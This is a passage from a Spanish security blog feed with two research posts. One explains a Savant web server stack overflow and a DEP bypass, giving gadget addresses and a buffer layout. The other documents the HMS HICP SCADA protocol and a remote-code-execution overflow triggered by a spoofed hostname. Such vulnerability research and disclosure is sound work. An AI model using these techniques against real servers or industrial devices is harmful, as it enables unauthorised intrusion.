<p>Si hacemos una traza del flujo de un paquete poniendo unos breakpoints en los tipicos <strong>recv()</strong> y <strong>recvfrom()</strong>, veremos que se hace uso de un wrapper en <strong>0&#215;00401023</strong>. Una vez recibido el paquete, se procede a analizar la cabecera para comprobar que tipo de petición se ha recibido. Si hemos tenido la <span style="text-decoration: line-through;">mala</span> suerte de hacer una petición que no corresponde a ninguno de los que el servidor reconoce, acabamos llegando a la rutina en <strong>0x0040BFA0</strong>, que es donde vamos a exprimir la naranja. Lo primero que se hace en esta función es llamar a una rutina en <strong>0&#215;00401285</strong> que se encarga de encadenar el path que nuestro paquete señala, al path del directorio de trabajo de Savant. A pesar de que se hacen varios usos de nuestro amigo <strong>strcpy()</strong> el bug reside hacia el final de la rutina, concretamente en:</p>
<div class="dean_ch" style="white-space: wrap;">.text:00411A6A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edx</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_14<span class="br0">&#93;</span><br />
.text:00411A6D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">add</span> &nbsp; &nbsp; <span class="kw3">edx</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_8<span class="br0">&#93;</span><br />
.text:00411A70 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+Str1<span class="br0">&#93;</span><br />
.text:00411A73 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">add</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_C<span class="br0">&#93;</span><br />
.text:00411A76 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">cl</span>, <span class="br0">&#91;</span><span class="kw3">eax</span><span class="br0">&#93;</span><br />
.text:00411A78 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">edx</span><span class="br0">&#93;</span>, <span class="kw3">cl</span> &nbsp; &nbsp; &nbsp; <span class="co1">; PWN stack</span></div>
<p>La cagada ya está hecha. Ahora volvemos al <em>caller</em> que será el encargado de redirigir la ejecución a donde nosotros le hayamos dicho. Ahora vamos a pensar que tipo de petición vamos a construir. Lo que haremos sera algo que guardara un lejano parecido con una correcta petición HTTP:</p>
<p style="text-align: center;"><strong>METODO | &lt;espacio en blanco&gt; | / | &lt;nuestro path&gt;</strong></p>
<p>En cuanto al espacio disponible, conocemos lo siguiente:</p>
<ul>
<li><strong>recv()</strong> nos permite hasta un máximo de 0&#215;4000 bytes.</li>
<li><strong>METODO</strong> puede tener como máximo 24 bytes.</li>
<li><strong>&lt;nuestro path&gt;</strong> puede albergar un máximo de 250 bytes hasta (sin incluir) el valor ret, más 32 bytes adicionales después de este último.</li>
</ul>
<p>Como ya he mencionado anteriormente, el jugo en este caso es saltarse la protección DEP. A pesar de que se han planteado varias soluciones, mi favorita es la propuesta por skape y Skywing en <a title="Uninformed" href="http://www.uninformed.org/?v=2&amp;a=4&amp;t=sumry" target="_blank">este</a> articulo para el 2º Volumen de <em>Uninformed</em>. No voy a entrar en detalles de la tecnica, es una lectura bastante corta y recomendable, pero aquí os haré un resumen. Lo que trataremos de hacer, en vez de redefinir los parámetros de acceso de una región de memoria, será de desactivar DEP completamente para todo el proceso. Para ello haremos un <em>ret2code</em> o dicho en lenguaje llano, reutilizar codigo existente en memoria. En el articulo se demuestra una secuencia de código que yo personalmente no he encontrado en la versión española de la plataforma. Pero tras bucear entre dumps de memoria, encontramos la siguiente secuencia dentro de ntdll.dll:</p>
<div class="dean_ch" style="white-space: wrap;">.text:7C83E413 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_4<span class="br0">&#93;</span>, <span class="nu0">2</span><br />
.text:7C83E41A<br />
.text:7C83E41A loc_7C83E41A: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; CODE XREF: sub_7C83592A+45j</span><br />
.text:7C83E41A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="nu0">4</span><br />
.text:7C83E41C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">lea</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_4<span class="br0">&#93;</span><br />
.text:7C83E41F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">eax</span><br />
.text:7C83E420 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;22h<br />
.text:7C83E422 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="re0">0FFFFFFFFh</span><br />
.text:7C83E424 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;ZwSetInformationProcess<br />
.text:7C83E429 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jmp</span> &nbsp; &nbsp; finish</div>
<p>Y tras el jump:</p>
<div class="dean_ch" style="white-space: wrap;">.text:7C835975 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">or</span> &nbsp; &nbsp; &nbsp;<span class="kw5">byte</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span><span class="kw3">esi</span>+37h<span class="br0">&#93;</span>, 80h<br />
.text:7C835979 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">esi</span><br />
.text:7C83597A<br />
.text:7C83597A locret_7C83597A: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; CODE XREF: sub_7C83592A+Dj</span><br />
.text:7C83597A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">leave</span><br />
.text:7C83597B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">retn</span> &nbsp; &nbsp;<span class="nu0">4</span></div>
<p>Ahora nos encontramos con un problema. El <em>leave</em> que se ejecuta justo antes de hacer ret, hace un cambio de frame en una sola instrucción y nos jode el fake frame que necesitamos para encadenar secuencias de ret&#8217;s y volver a ejecutar nuestro codigo. Así es como termina la secuencia de ejecución de <strong>0x0040BFA0</strong>, que es la que nos da control sobre la ejecución:</p>
<div class="dean_ch" style="white-space: wrap;">.text:0040C102 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">edi</span><br />
.text:0040C103 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">esi</span><br />
.text:0040C104 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">ebx</span><br />
.text:0040C105 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">esp</span>, <span class="kw3">ebp</span><br />
.text:0040C107 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">ebp</span><br />
.text:0040C108 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">retn</span></div>
<p>Como se puede observar, obtenemos ebp de la pila y aunque a primera vista esto no parezca un problema, lo es. El problema radica en que el fake frame que queremos construir esta en la pila, cuyas direcciones son del tipo <strong>0x00XXXXXX</strong>. Así pues, no podemos poner valores de ese tipo en nuestro buffer por que tiene bytes nulos y se nos desmonta la barraca. Que podemos hacer frente a esto? Lo único que se me ha ocurrido ha sido utilizar algún tipo de operador logico para construir nuestro valor en tiempo de ejecución. Lo que nos lleva a la siguiente secuencia de codigo dentro de shell32.dll:</p>
<div class="dean_ch" style="white-space: wrap;">.text:7CA0E9BC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">or</span> &nbsp; &nbsp; &nbsp;<span class="kw3">cl</span>, <span class="kw3">ch</span><br />
.text:7CA0E9BE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">xor</span> &nbsp; &nbsp; <span class="kw3">ebp</span>, <span class="nu0">9</span><span class="re0">090FFFFh</span><br />
.text:7CA0E9C4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">nop</span><br />
.text:7CA0E9C5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">nop</span><br />
.text:7CA0E9C6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">nop</span><br />
.text:7CA0E9C7<br />
.text:7CA0E9C7 loc_7CA0E9C7: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; DATA XREF: .text:off_7C90FAE4o</span><br />
.text:7CA0E9C7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">sub</span> &nbsp; &nbsp; <span class="kw5">dword</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span>esp<span class="nu0">+4</span><span class="br0">&#93;</span>, 20h<br />
.text:7CA0E9CC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jmp</span> &nbsp; &nbsp; sub_7CA0DF22</div>
<p>Que termina saltando a:</p>
<div class="dean_ch" style="white-space: wrap;">.text:7CA0DF22 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edi</span>, <span class="kw3">edi</span><br />
.text:7CA0DF24 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebp</span><br />
.text:7CA0DF25 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">ebp</span>, <span class="kw3">esp</span><br />
.text:7CA0DF27 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_8<span class="br0">&#93;</span><br />
.text:7CA0DF2A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_4<span class="br0">&#93;</span><br />
.text:7CA0DF2D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw4">offset</span> off_7C8DC0A0<br />
.text:7CA0DF32 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_0<span class="br0">&#93;</span><br />
.text:7CA0DF35 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;SHLWAPI_219<br />
.text:7CA0DF3A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">ebp</span><br />
.text:7CA0DF3B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">retn</span> &nbsp; &nbsp;<span class="re0">0Ch</span></div>
<p>A pesar de que tenemos un call algo feo ahí, no hay nada de lo que preocuparse porque el ebp que acabamos de construir se salva con el push del prologo y el pop del epilogo. El resto del proceso de explotación no conlleva mayores cábalas. Como controlamos ebp, controlamos el ret de <strong>0x7CA0DF3B</strong>. Bastaría con volver a algun codigo como <em>jmp esp</em>, para continuar ejecutando, ahora sin DEP, desde la pila. El ultimo problema que tenemos es que solo tenemos 250 bytes de espacio para albergar nuestro shellcode que, además debe estar con codificación alfanumérica. Por lo tanto, la estructura de nuestro buffer final podría ser algo así:</p>
<p>&lt;padding&gt; + &lt;espacio en blanco&gt; +  / + &lt;padding&gt; + &lt;jmp_esp&gt; + &lt;shellcode&gt; + &lt;valor de ebp&gt; + &lt;primer ret&gt; + &lt;ret2dep&gt; + &lt;referenciable 1&gt; + &lt;referenciable 2&gt; + &lt;referenciable 3&gt; + ‘\r\n\r\n’</p>
<p>Un par de comentarios sobre la estructura. Primero, recordar que el &lt;valor de ebp&gt; debe ser el adecuado para que despues del XOR obtengamos el valor que nos interesa. Segundo, los tres valores que marco como referenciables, son 3 valores de 4 bytes que apunten a una región de memoria con permisos de lectura y escritura, sino el programa no seguirá el camino que nos interesa. Por otro lado, entiendo que esta solución no es la optima y esta lejos de ser una solución universal, pero como ejemplo, pienso que demuestra un caso curioso.</p>
<p>Mención especial para Ruben y Joxean por su paciencia y atención!</p>
<p>La versión original de esto post la podeis encontrar <a title="www.morenops.com" href="http://www.morenops.com/blog/?p=535" target="_blank">aquí</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/01/03/saltandonos-dep-a-lo-savant/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Exposing HMS HICP Protocol + 0day &#8216;light&#8217;</title>
		<link>http://blog.48bits.com/2009/12/12/exposing-hms-hicp-protocol-0day-light/</link>
		<comments>http://blog.48bits.com/2009/12/12/exposing-hms-hicp-protocol-0day-light/#comments</comments>
		<pubDate>Sat, 12 Dec 2009 14:17:00 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>
		<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=781</guid>
		<description><![CDATA[Hola buenas, Hoy vamos a darle un par de vueltas a un protocolo propietario usado para configuración y control de ciertos dispositivos M2M de la empresa HMS. AFAIK no hay documentación pública del protocolo HICP, si estoy equivocado que alguien me lo haga saber y me daré 40 latigazos. Bueno el caso es que como [...]]]></description>
			<content:encoded><![CDATA[<p>Hola buenas,</p>
<p>Hoy vamos a darle un par de vueltas a un protocolo propietario usado para configuración y control de ciertos dispositivos M2M de la empresa <a href="http://www.hms.se">HMS</a>. </p>
<p>AFAIK no hay documentación pública del protocolo HICP, si estoy equivocado que alguien me lo haga saber y me daré 40 latigazos.</p>
<p>Bueno el caso es que como no he conseguido encontrar nada, pues escribo esto para documentarlo un poco.Obviamente lo que voy a explicar está basado en lo que he podido sacar destripando software y cosas peores. No tiene mucho misterio, pero como es usado en todos los productos de control y monitorización industrial de la empresa HMS que incorporan capacidades de red (ethernet), creo que es interesante desde el punto de vista de la seguridad SCADA. Ya sacareís vuestras conclusiones al final del articulo.</p>
<p>En la segunda parte del post explicaré un fallo que he encontrado en una herramienta de configuración de los dispositivos SCADA netbiter WS100 y WS200 de la empresa <a href="http://www.intellicom.se">intellicom</a>. Estos están basados en Anybus RemoteCOM de HMS, por lo tanto usan HICP para su configuración. Este fallo permite ejecutar código remótamente sin ningún tipo de autentificación.</p>
<p>Ale, al lío!<br />
<span id="more-781"></span></p>
<p>Los dispositivos HMS-Anybus,y los que están basados en esta tecnología, que incorporan capacidades ethernet necesitan una manera de configurar/actualizar lo ímprescindible para ser accesibles: ip,netmask,gateway,dns,dchp&#8230; Aquí es donde entra en juego el protocolo HICP. Este es usado para poder configurar remótamente estos dispostivos. Para ello, en el <a href="http://www.hms.se/readnews.asp?NID=39">2004</a> HMS publico una herramienta libre llamada Tu_puta_madre_pelando_Gambas v1.0. Jijiji, es mentira. Se llamaba <a href="http://www.hms.se/upload/Anybus%20IPconfig%20setup%201_6_1_1.zip">Anybus IPconfig</a>. Es una herramienta muy simple que consta  de una GUI MFC y una dll llamada hicp.dll. De acuerdo con la documentación, esta herramienta nos permite scanear la red donde están conectados los dispositivos para detectarlos y configurarlos. Pues vamos a ver como lo hace.</p>
<p>Miramos las exports de la dll hicp.dll y vemos HICP_SendModuleScan.</p>
<div class="dean_ch" style="white-space: wrap;">
.text:100027AF <span class="co1">; int __cdecl HICP_SendModuleScan()</span><br />
.text:100027AF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">public</span> ?HICP_SendModuleScan@@YAHXZ<br />
.text:100027AF ?HICP_SendModuleScan@@YAHXZ <span class="kw4">proc</span> <span class="kw5">near</span><br />
.text:100027AF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebp</span><br />
.text:100027B0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">ebp</span>, <span class="kw3">esp</span><br />
.text:100027B2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;sub_10002175<br />
.text:100027B7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">ebp</span><br />
.text:100027B8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">retn</span><br />
.text:100027B8 ?HICP_SendModuleScan@@YAHXZ <span class="kw4">endp</span><br />
&nbsp;</div>
<p>El código es una pijada</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; sprintf<span class="br0">&#40;</span>&amp;Dest, <span class="st0">&quot;Module Scan&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; to.<span class="me1">sa_family</span> = AF_INET;<br />
&nbsp; *<span class="br0">&#40;</span>_WORD *<span class="br0">&#41;</span>&amp;to.<span class="me1">sa_data</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> = htons<span class="br0">&#40;</span>HICP_PORT<span class="br0">&#41;</span>; <span class="co1">// 3250 UDP</span><br />
&nbsp; *<span class="br0">&#40;</span>_DWORD *<span class="br0">&#41;</span>&amp;to.<span class="me1">sa_data</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> = htonl<span class="br0">&#40;</span>IP_BROADCAST<span class="br0">&#41;</span>;<br />
&nbsp; v1 = strlen<span class="br0">&#40;</span>&amp;Dest<span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> sendto<span class="br0">&#40;</span>s, &amp;Dest, v1 + <span class="nu0">1</span>, <span class="nu0">0</span>, &amp;to, <span class="nu0">16</span><span class="br0">&#41;</span> != <span class="nu0">-1</span> <span class="br0">&#41;</span><br />
&nbsp;</div>
<p>Pues eso manda un paquete broadcast que contiene la cadena &#8220;Module Scan&#8221;. Entonces cuando los dispositivos Anybus que tienen un daemon escuchando también en el 3250 reciben esta petición, responden de igual manera enviando su configuración actual al 3250.</p>
<p>Vamos a ver qué es lo que envian y cómo<br />
&#8212;-<br />
  &#8220;Protocol version = 1.10; &#8221;  # necesita explicación<br />
+&#8221;fb type  = AnybusPeralimonera; &#8221; # identificacion del tipo de dispositivo<br />
+&#8221;module version = 0.66.6; &#8221;  # pues eso.<br />
+&#8221;mac = 00-30-11-00-BA-CA; &#8221; # la MAC del dispositivo -IMPORTANTE-<br />
+&#8221;ip = 192.168.1.252; &#8221; # la ip interna<br />
+&#8221;sn = 255.255.255.0; &#8221; # Network Mask<br />
+&#8221;gw = 192.168.1.1; &#8221; # la puerta guay<br />
+&#8221;dhcp = off; &#8221; # si el dispositivo usara un server DHCP para obtener la ip. (on/off)<br />
+&#8221;pswd = off; &#8221; # si el dispositivo tiene activado un password (on/off)<br />
+&#8221;hn = morroBufalo; &#8221; # el hostname (opcional)<br />
+&#8221;dns1 = 192.168.1.33; &#8221; # DNS primario<br />
+&#8221;dns2 = 192.168.1.34; &#8221; # DNS secundario (opcional)<br />
+&#8221;password = limones; &#8221; # el password  antiguo si lo queremos cambiar. (por defecto admin)<br />
+&#8221;new password = peras; &#8221; # el nuevo password que queramos poner<br />
&#8212;&#8212;-<br />
Esto son los parámetros que se puede establecer/recibir mediante el protocolo HICP, los cuales se envían en una cadena en texto plano sin más, todo junto, separando cada parametro por &#8220;;&#8221; y usando &#8220;=&#8221; para establecerlos, tal y como vemos más arriba.</p>
<p>En el caso de que queramos configurar un dispositivo debemos añadir al principio de los parametros la siguiente cadena:<br />
&#8220;Configure: %s&#8221; donde %s es la MAC del dispositivo que queremos configurar. Ejemplo<br />
&#8220;Configure: 00-30-11-00-BA-CA; &#8220;+&#8221;protocol&#8230;.&#8221;<br />
Esto lo podemos comprobar en el export  HICP_SendConfigure de la hicp.dll.<br />
Esta petición se envia al broadcast y la reciben todos los dispositivos, los cuales usaran el valor de la MAC para asegurarse que la petición de configuración les corresponde a ellos.</p>
<p>Los 3 primeros valores de la MAC de estos dispositivos es 00-30-11 como podemos comprobar buscando en la lista de <a href="http://standards.ieee.org/regauth/oui/oui.txt">OUIs</a> a la empresa HMS.</p>
<p> Hay un par de respuestas más que envían los dispositivos en el caso de que falle el password o para avisar que se han reconfigurado corréctamente. &#8220;Invalid Password:&#8221; y &#8220;Reconfigured:&#8221;.</p>
<p>Pues eso es todo. Nada del otro mundo. Sin complicaciones,prácticamente se asume que los dispositivos están en un lugar seguro.</p>
<p>SEGUNDA PARTE</p>
<p>Otra empresa sueca, llamada <a href="http://www.intellicom.se">intellicom</a> desarrolla unos productos SCADA llamados NetBiter <a href="http://www.intellicom.se/webscada.cfm">WebSCADA</a> que están basados en los HMS Anybus RemoteCOM. </p>
<p>En su página web nos permiten descargar amáblemente el <a href="http://support.intellicom.se/dynpage.cfm?FPID=85">firmware</a>, así como dos herramientas para <a href="http://support.intellicom.se/getfile.cfm?FID=45&#038;FPID=85">configurarlos</a> y actualizar el firmware.  </p>
<p>Primeramente nos vamos a fijar en la herramienta para configurarlos. Vemos que es prácticamente idéntica a la de HMS, por lo que entendemos que está basada en su código fuente. Hay algunas cosas añadidas al protocol HICP, como la capacidad de hacer un WINK a un dispositivo (&#8220;WINK;&#8221;) para que se enciendan las lucecitas, lleva incorporado un servidor DHCP interno, pero por lo demás es lo mismo. Bueno, no exactamente, tiene un buffer pequeñin donde no cabe un hostname de más de 0&#215;20 bytes <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>De esta manera podemos enviar desde fuera de la red interna incluso un paquete UDP especialmente creado para hacernos pasar por un dispositivo.</p>
<p><img src="http://blog.48bits.com/wp-content/uploads/2009/12/evil.png" alt="evil" title="evil" width="669" height="476" class="aligncenter size-full wp-image-783" /></p>
<p>Más allá de 0&#215;20 bytes empezamos a sobreescribir los demás valores, pudiendo llegar a sobreescribir un puntero a la vtable con los métodos de subclassing que usa la aplicación. Con 0&#215;60 bytes conseguimos controlar la dereferencia de un metodo sin y que esi apunte a lo que queda de nuestro &#8220;hostname&#8221; (0&#215;20 bytes aproximadamente) para poder ser usado como shellcode/stager. De esta manera conseguimos la ejecución de código.No nulls.</p>
<p>El fallo se activariía cuando el admin pinche sobre nuestro &#8220;EVIL-DEVICE&#8221; para intentar configurarlo o averiguar que coño es eso.</p>
<p>El fallo, como suele ser habitual, es una copia de cadena a la pila sin medir el tamaño</p>
<p>Module: NetBiterConfig.exe</p>
<div class="dean_ch" style="white-space: wrap;">
.text:00403E52 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">lea</span> &nbsp; &nbsp; <span class="kw3">edx</span>, <span class="br0">&#91;</span>ebp-<span class="re0">0ABh</span><span class="br0">&#93;</span><br />
.text:00403E58 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">edx</span> <span class="co1">; evil hostname</span><br />
.text:00403E59 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">lea</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span>ebp-3CCh<span class="br0">&#93;</span><br />
.text:00403E5F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">eax</span><br />
.text:00403E60 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;strcpy<br />
&nbsp;</div>
<p>El fallo sólo se encuentra en la version de Intellicom, no en la de HMS, ya que en esta se hace un &#8220;strncpy&#8221; a 0&#215;80:</p>
<p>Module: Anybus IpConfig.exe</p>
<div class="dean_ch" style="white-space: wrap;">
.text:<span class="nu0">00403691</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;80h<br />
.text:<span class="nu0">00403696</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">lea</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">esp</span>+<span class="re0">0E1h</span><span class="br0">&#93;</span><br />
.text:0040369D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">eax</span><br />
.text:0040369E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">lea</span> &nbsp; &nbsp; <span class="kw3">ecx</span>, <span class="br0">&#91;</span><span class="kw3">esp</span>+494h<span class="br0">&#93;</span><br />
.text:004036A5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;80h<br />
.text:004036AA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ecx</span><br />
.text:004036AB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw5">byte</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span><span class="kw3">esp</span>+530h<span class="br0">&#93;</span>, <span class="nu0">1</span><br />
.text:004036B3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;sub_425666<br />
&#8230;.<br />
&#8230;.<br />
.text:004256D9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">cl</span>, <span class="br0">&#91;</span><span class="kw3">edx</span><span class="br0">&#93;</span><br />
.text:004256DB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">eax</span><span class="br0">&#93;</span>, <span class="kw3">cl</span><br />
.text:004256DD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">inc</span> &nbsp; &nbsp; <span class="kw3">eax</span><br />
.text:004256DE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">inc</span> &nbsp; &nbsp; <span class="kw3">edx</span><br />
